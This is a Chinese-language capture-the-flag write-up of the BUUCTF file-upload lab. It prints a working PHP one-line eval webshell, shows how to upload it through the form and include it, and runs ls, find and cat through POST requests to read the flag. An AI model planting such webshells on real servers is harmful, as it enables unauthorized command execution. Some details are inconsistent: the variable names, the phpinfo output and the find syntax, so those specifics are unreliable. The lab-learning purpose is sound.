BUU upload course


1.php 一句话木马

<?php @eval($_POST["m"]);?>

当这条语句被服务端执行了,我们同时利用 POST 请求上传变量 x 的值,例如 x=echo ‘Hello’,php 解析器执行的实质上是 @eval(“echo ‘Hello’”),即在前端输出一个字符串,更常见的利用手法是利用 @eval(system($_POST[“x”])) 直接控制服务端的 shell

image-20201010174655274

同时提交 m=ls ,便可以通过 shell 输出当前网页目录下的其他文件,注入其他命令同理

2.题目操作

用浏览器连接靶机,有一个可以提交文件的页面,随便 sumbit 一个文本文件

image-20201010174908217

提示:文件已储存在: uploads/xxx.jpg

可以在 ?file=uploads/xxx.jpg 查看,有相应的内容回显

这是一个最普通的 php 脚本,保存改后缀为 .php 尝试上传

<?php phpinfo(); ?>

在访问时回显 Hello Worl! 说明自定义的 php 脚本被成功执行

把脚本修改成一句话木马

<?php @eval(system($_POST["m"]));?>

成功上传后,访问相应的 ?file=uploads/xxx.jpg,页面空白,说明 php 命令被成功执行

将 url 复制到 Postman ,编辑 Body(Post 的表单)为 m:ls

image-20201010175358320

成功拿到 shell,接下来找到 flag 所在的目录就好了,使用m:find -name / ‘flag’

然后使用cat 查看内容

image-20201010175515472


文章作者: axing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 axing !
评论
  目录